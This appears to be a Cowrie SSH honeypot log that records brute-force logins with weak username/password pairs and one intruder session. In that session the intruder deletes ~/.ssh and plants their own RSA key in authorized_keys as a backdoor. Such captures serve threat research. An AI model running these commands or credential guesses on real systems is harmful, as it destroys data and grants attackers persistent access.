{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:11.818348Z","src_ip":"148.230.169.229","session":"86744efca5d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:11.880496Z","src_ip":"148.230.169.229","session":"86744efca5d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert1","message":"login attempt [ubuntu/qwert1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:12.183421Z","src_ip":"148.230.169.229","session":"86744efca5d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:13.579977Z","src_ip":"148.230.169.229","session":"86744efca5d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:19.256979Z","src_ip":"122.168.114.167","session":"6455dc13ff44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.1","message":"Connection lost after 29.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:24.533177Z","src_ip":"122.168.114.167","session":"6455dc13ff44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":34392,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa3341ce7707","protocol":"ssh","message":"New connection: 76.127.61.251:34392 (10.17.0.5:22) [session: aa3341ce7707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:25.784758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:25.790058Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:25.850916Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"pass123","message":"login attempt [oracle/pass123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.114981Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.276212Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.279902Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.284019Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.346597Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.510854Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.514744Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.579285Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.583328Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":34408,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72c0e44204d","protocol":"ssh","message":"New connection: 76.127.61.251:34408 (10.17.0.5:22) [session: b72c0e44204d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.637827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.642490Z","src_ip":"76.127.61.251","session":"b72c0e44204d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.700121Z","src_ip":"76.127.61.251","session":"b72c0e44204d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:26.960226Z","src_ip":"76.127.61.251","session":"b72c0e44204d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:28.021624Z","src_ip":"76.127.61.251","session":"b72c0e44204d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":34420,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8a95fb19ec1","protocol":"ssh","message":"New connection: 76.127.61.251:34420 (10.17.0.5:22) [session: e8a95fb19ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:28.076522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:28.081799Z","src_ip":"76.127.61.251","session":"e8a95fb19ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:28.137652Z","src_ip":"76.127.61.251","session":"e8a95fb19ec1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:28.397097Z","src_ip":"76.127.61.251","session":"e8a95fb19ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:28.461951Z","src_ip":"76.127.61.251","session":"e8a95fb19ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:28.467211Z","src_ip":"76.127.61.251","session":"aa3341ce7707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":37356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7403c1bc713b","protocol":"ssh","message":"New connection: 103.97.179.160:37356 (10.17.0.5:22) [session: 7403c1bc713b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:33.805794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:33.811547Z","src_ip":"103.97.179.160","session":"7403c1bc713b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:34.056608Z","src_ip":"103.97.179.160","session":"7403c1bc713b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secure","message":"login attempt [ubuntu/secure] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:34.927895Z","src_ip":"103.97.179.160","session":"7403c1bc713b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35050,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab0c26116eb6","protocol":"ssh","message":"New connection: 122.168.114.167:35050 (159.203.135.109:22) [session: ab0c26116eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:35.242552Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:36.140131Z","src_ip":"103.97.179.160","session":"7403c1bc713b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:39.557444Z","src_ip":"122.168.114.167","session":"ab0c26116eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:39.561793Z","src_ip":"122.168.114.167","session":"ab0c26116eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:59.986791Z","src_ip":"122.168.114.167","session":"ab0c26116eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:06.574101Z","src_ip":"122.168.114.167","session":"ab0c26116eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37460,"dst_ip":"159.203.135.109","dst_port":22,"session":"482223b06cfa","protocol":"ssh","message":"New connection: 122.168.114.167:37460 (159.203.135.109:22) [session: 482223b06cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:14.105256Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":44310,"dst_ip":"10.17.0.5","dst_port":22,"session":"c07ac6a98735","protocol":"ssh","message":"New connection: 76.127.61.251:44310 (10.17.0.5:22) [session: c07ac6a98735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:14.263214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:14.268822Z","src_ip":"76.127.61.251","session":"c07ac6a98735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-